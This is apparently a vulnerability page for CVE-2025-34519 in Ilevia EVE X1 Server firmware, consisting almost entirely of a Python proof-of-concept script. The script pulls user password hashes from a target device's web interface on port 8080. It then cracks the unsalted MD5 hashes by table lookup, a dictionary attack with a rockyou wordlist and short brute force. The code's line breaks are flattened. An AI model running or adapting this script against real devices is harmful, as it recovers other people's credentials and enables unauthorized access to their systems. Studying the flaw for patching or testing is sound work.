CVE-2025-34519：Ilevia EVE X1 Server固件不安全哈希算法漏洞

#!/usr/bin/env python3 # CVE-2025-34519 - Ilevia EVE X1 Server Insecure Hashing Algorithm PoC # This PoC demonstrates the offline cracking of unsalted MD5 password hashes # extracted from Ilevia EVE X1 Server firmware (<= 4.7.18.0.eden) import hashlib import requests import sys import itertools import string # Step 1: Extract password hashes from the exposed Ilevia EVE X1 Server # The hashes are typically stored in the device's configuration database # accessible via the web management interface on port 8080 TARGET_HOST = "http://<target-ip>:8080" HASH_ENDPOINT = "/api/users" # Example endpoint exposing user password hashes def fetch_password_hashes(target_url): """Fetch unsalted MD5 password hashes from the Ilevia EVE X1 Server.""" try: # Attempt to retrieve the user database containing MD5 hashes response = requests.get(f"{target_url}{HASH_ENDPOINT}", timeout=10) if response.status_code == 200: data = response.json() return {user['username']: user['password_hash'] for user in data.get('users', [])} except Exception as e: print(f"[ERROR] Failed to fetch hashes: {e}") return {} def md5_hash(password): """Compute MD5 hash (same algorithm used by vulnerable firmware).""" return hashlib.md5(password.encode('utf-8')).hexdigest() def dictionary_attack(hash_value, wordlist_path): """Perform dictionary attack against the unsalted MD5 hash.""" try: with open(wordlist_path, 'r', encoding='utf-8', errors='ignore') as f: for line in f: candidate = line.strip() if md5_hash(candidate) == hash_value: return candidate except FileNotFoundError: print(f"[WARNING] Wordlist not found: {wordlist_path}") return None def rainbow_table_attack(hash_value): """Lookup the hash in a precomputed rainbow table.""" # Common MD5 rainbow table lookup (using online services or local table) rainbow_table = { "5f4dcc3b5aa765d61d8327deb882cf99": "password", "e10adc3949ba59abbe56e057f20f883e": "123456", "d8578edf8458ce06fbc5bb76a58c5ca4": "qwerty", "827ccb0eea8a706c4c34a16891f84e7b": "12345", "25d55ad283aa400af464c76d713c07ad": "12345678", } return rainbow_table.get(hash_value) def brute_force_attack(hash_value, max_length=4): """Brute force attack for short passwords (demonstrates MD5 speed).""" chars = string.ascii_lowercase + string.digits for length in range(1, max_length + 1): for combo in itertools.product(chars, repeat=length): candidate = ''.join(combo) if md5_hash(candidate) == hash_value: return candidate return None def main(): print("=" * 60) print("CVE-2025-34519 PoC - Ilevia EVE X1 Server MD5 Hash Crack") print("=" * 60) target = sys.argv[1] if len(sys.argv) > 1 else TARGET_HOST # Step 1: Fetch the password hashes print(f"\n[*] Targeting: {target}") print("[*] Fetching password hashes...") hashes = fetch_password_hashes(target) if not hashes: # Demo with sample hash if target is unreachable print("[!] Could not reach target. Using demo hash.") hashes = {"admin": "5f4dcc3b5aa765d61d8327deb882cf99"} # Step 2: Crack each hash for username, hash_value in hashes.items(): print(f"\n[*] Cracking hash for user '{username}': {hash_value}") # Try rainbow table first (fastest) plaintext = rainbow_table_attack(hash_value) if plaintext: print(f"[+] Rainbow table match: {plaintext}") continue # Try dictionary attack plaintext = dictionary_attack(hash_value, "rockyou.txt") if plaintext: print(f"[+] Dictionary match: {plaintext}") continue # Brute force for short passwords plaintext = brute_force_attack(hash_value, max_length=4) if plaintext: print(f"[+] Brute force match: {plaintext}") else: print("[-] Password not cracked") if __name__ == "__main__": main()